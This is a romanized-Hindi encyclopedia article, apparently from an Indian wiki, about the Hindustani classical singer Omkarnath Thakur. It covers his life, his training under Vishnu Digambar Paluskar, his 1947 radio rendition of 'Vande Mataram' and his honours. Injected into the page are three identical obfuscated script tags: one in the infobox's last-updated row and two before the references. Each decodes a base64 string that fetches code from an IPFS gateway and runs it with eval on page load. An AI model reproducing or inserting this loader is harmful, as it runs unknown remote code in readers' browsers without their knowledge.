ओंकारनाथ ठाकुर
oankaranath thakur
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| poora nam | oankaranath thakur |
| janm | 24 joon, 1897 |
| janm bhoomi | jahaj, b dauda rajy |
| mrityu | 29 disanbar, 1967 |
| mrityu sthan | bharat |
| abhibhavak | gaurishankar thakur |
| pati/patni | iandira devi |
| karm-kshetr | hindustani shastriy gayak |
| puraskar-upadhi | sangit natak akadami puraskar, sangit martand, sangit mahamahoday, padm shri |
| nagarikata | bharatiy |
| pramukh git | maian nahian makhan khayo, maiya mori..., ‘vandemataramh...’ |
| any janakari | san 1934 mean oankaranath thakur ne mumbee mean ‘sangit niketan’ ki sthapana ki. |
| adyatan | 18:16, 22 agast 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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pandit oankaranath thakur (aangrezi: Pt. Omkarnath Thakur, janm: 24 joon, 1897 - mrityu: 29 disanbar, 1967) bharat ke prasiddh sangitajn evan hindustani shastriy gayak the. inaka sambandh gvaliyar gharane se tha.
jivan parichay
oankaranath ke dada mahashankar ji aur pita gaurishankar ji nana sahab peshava ki sena ke vir yoddha the. ek bar unake pita ka sampark alonibaba ke nam se vikhyat ek yogi se hua. in mahatma se diksha lene ke bad se gaurishankar ke parivar ki disha hi badal gee. ve pranav-sadhana arthath oankar ke dhyan mean rahane lage. tabhi 24 joon, 1897 ko unaki chauthi santan ne janm liya. oankar-bhakt pita ne putr ka nam oankaranath rakha.[1]
sangit shiksha
janm ke kuchh hi samay bad yah parivar b dauda rajy ke jahaj gram se narmada tat par bh dauch namak sthan par akar bas gaya. oankaranath ji ka lalan-palan aur prathamik shiksha yahian sampann huee. inaka bachapan abhavoan mean bita. yahaan tak ki kishoravastha mean oankaranath ji ko apane pita aur parivar ke sadasyoan ke bharan-poshan ke lie ek mil mean naukari karani p di. oankaranath ki ayu jab 14 varsh thi, tabhi unake pita ka dehant ho gaya. unake jivan mean ek nirnayak mo d tab aya, jab bh dauch ke ek sangit-premi seth ne kishor oankar ki pratibha ko pahachana aur unake b de bhaee ko bula kar sangit-shiksha ke lie bambee ke vishnu digambar sangit mahavidyalay bhejane ko kaha. pandit vishnu digambar paluskar ke margadarshan mean unaki sangit-shiksha arambh huee.[1]
vivah
1922 mean soorat ki iandira devi se unaka vivah hua. usake bad ve nepal gaye, jahaan maharaj chandrashamasher jangabahadur ke samaksh unako gayan prastut karane ka avasar mila. maharaj ne unhean bharapoor samman, bheant vastuean tatha dhan to diya hi, sath hi darabar mean gayak ke roop mean niyukti dene ka bhi prastav rakha, parantu oankaranathaji ne darabari gayak banana svikar nahian kiya. ve us samay itali, jarmani, h aaulaiand, beljiyam, phraans, ianglaiand, svitjaralaiand aur afaganistan bhi gaye. roos jate samay unhean apani patni ke achanak nidhan ka samachar mila, to ve vapas laut aye. bahut logoan ke kahane ke bavajood oankaranath thakur ne patni ke nidhan ke bad punarvivah nahian kiya aur ekaki jivan bitane lage. unake shishy hi unake lie putr-putri saman ho gaye the. phir unhoanne muanbee mean sangit niketan ki sthapana ki.[2]
guru-shishy parampara
vishnu digambar sangit mahavidyalay, mumbee mean pravesh lene ke bad oankaranath ji ne vahaan ke paanch varsh ke pathyakram ko tin varsh mean hi poora kar liya aur isake bad guru ji ke charanoan mean baith kar guru-shishy parampara ke antargat sangit ki gahan shiksha arjit ki. 20 varsh ki ayu mean hi ve itane parangat ho ge ki unhean lahaur ke gandharv sangit vidyalay ka pradhanachary niyukt kar diya gaya. 1934 mean unhoanne mumbee mean ‘sangit niketan’ ki sthapana ki. 1940 mean mahamana madanamohan malaviy unhean kashi hindoo vishvavidyalay ke sangit sankay ke pramukh ke roop mean bulana chahate the kintu arthabhav ke karan n bula sake. bad mean vishvavidyalay ke ek dikshant samaroh mean shamil hone jab pandit ji ae to unhean vahaan ka vatavaran itana achchha laga ki ve kashi mean hi bas ge. 1950 mean unhoanne kashi hindoo vishvavidyalay ke gandharv mahavidyalay ke pradhanachary ka pad-bhar grahan kiya aur 1957 mean sevanivritt hone tak vahian rahe.[1] firoj dastoor, jiten ghosh dastidar, pi.en barve, en. rajam, rajabhaoo sonatakke, subhadra kulashreshth, atul desaee, nalini gajeandr gadakar, premalata sharma, yashavant ray purohit, balavant ray bhatt, shivakumar shukla, kanakaray trivedi adi anek pratibhavan kalakar pan. oankaranath thakur ki chhatrachhaya mean hi pragati karate gaye.[2]
prabhavashali gayan
pandit oankaranath thakur ka jitana prabhavashali vyaktitv tha utana hi asaradar unaka sangit bhi tha. ek bar mahatma gaandhi ne unaka gayan sun kar tippani ki thi- “pandit ji apani matr ek rachana se jan-samooh ko itana prabhavit kar sakate haian, jitana maian apane anek bhashanoan se bhi nahian kar sakata.” unhoanne ek bar sar jagadish chandr basu ki prayogashala mean pe d-paudhoan par sangit ke svaroan ke prabhav vishay par abhinav aur saphal prayog kiya tha. jab ve sooradas ka pad- ‘maian nahian makhan khayo, maiya mori...’ gate the to poore shrota samuday ki aankhean aansuoan se bhig jati thian. is pad ko gate samay pandit ji sahity ke sabhi rasoan se sakshatkar karate the.[1]
kalajayi rachana
pandit oankaranath thakur ki kalajayi rachanaoan mean ek mahattvapoorn rachana hai, ‘vandemataramh...’. bankimachandr chattopadhyay ki yah amar rachana, svatantr bharat ke pratham sooryoday par pandit ji ke svaroan se alankrit hokar rediyo se prasarit huee thi. age chal kar ‘vandemataramh...’ git ke arambhik do antaroan ko bharat ki sanvidhan sabha ne rashtragit ke samakaksh manyata pradan ki thi.
'vandemataram' ka gayan
15 agast, 1947 ko pratah 6:30 baje akashavani se pandit oankaranath thakur ka rag- desh mean nibaddh 'vandemataram' ke gayan ka sajiv prasaran hua tha. azadi ki suhani subah mean deshavasiyoan ke kanoan mean rashtrabhakti ka mantr phooankane mean 'vandemataram' ki bhoomika avismaraniy thi. oankaranath ji ne poora git stoodiyo mean kh de hokar gaya tha; arthath unhoanne ise rashtragit ke taur par poora samman diya. is prasaran ka poora shrey saradar ballabh bhaee patel ko jata hai. pandit oankaranath thakur ka yah git 'di gramophon kampani aauf iandiya' ke rik aaurd sankhya STC 048 7102 mean maujood hai.[3]
rashhtriy git ki manyata
[[chitr:Omkarnath-Thakur-Stamp.jpeg|thumb|samman mean jari dak tikat]] 24 janavari, 1950 ko sanvidhan sabha ne nirnay liya ki svatantrata sangram mean 'vandemataram' git ki ullekhaniy bhoomika ko dekhate hue is git ke pratham do antaroan ko 'jan gan man..' ke samakaksh manyata di jay. d aau. rajendr prasad ne sanvidhan sabha ka yah nirnay sunaya. "vandemataram' ko rashtragan ke samakaksh manyata mil jane par anek mahattvapoorn rashtriy avasaroan par 'vandemataram' git ko sthan mila. aj bhi 'akashavani' ke sabhi kendroan ka prasaran 'vandemataram' se hi hota hai. aj bhi kee saanskritik aur sahityik sansthaoan mean 'vandemataram' git ka poora-poora gayan kiya jata hai.[3]
samman aur puraskar
sangit natak akadami puraskar, sangit martand, sangit mahamahoday aur padm shri ki upadhiyoan aur anaginat puraskaroan tatha sammanoan se vibhooshit pan. oankaranath thakur ek abhinay kushal gayak the. ve sammohit kar lete the apane shrotaoan ko. pakshaghat tatha any bimariyoan se joojhate hue pan. oankaranath thakur 29 disanbar 1967 ko is nashvar sansar ko chho d ge, parantu unake gayan ke anaginat rik aaurd aur tep aj bhi lakhoan sangit premiyoan ke hriday mean unhean jivit rakhe hue haian.[2]
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 115vian jayanti par sangit-martand oankaranath thakur ka smaran (hindi) (ech.ti.em.el) rediyo plebॅk iandiya (bl aaug). abhigaman tithi: 20 aktoobar, 2012.
- ↑ 2.0 2.1 2.2 sangit ki ek mahanh virasat chho d ge pan. oankaranath thakur (hindi) (ech.ti.em.el) hindi midiya in. abhigaman tithi: 20 aktoobar, 2012.
- ↑ 3.0 3.1 'vandemataram' git ka ek aur navin prayog (hiandi) (ech.ti.em.el) avaz. abhigaman tithi: 29 disambar, 2012.
bahari k diyaan
- vandemataram -oankaranath thakur (yoo-tyoob)
- rag bhairavi (jogi mat ja) --oankaranath thakur (yoo-tyoob)
sanbandhit lekh
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varnamala kramanusar lekh khoj
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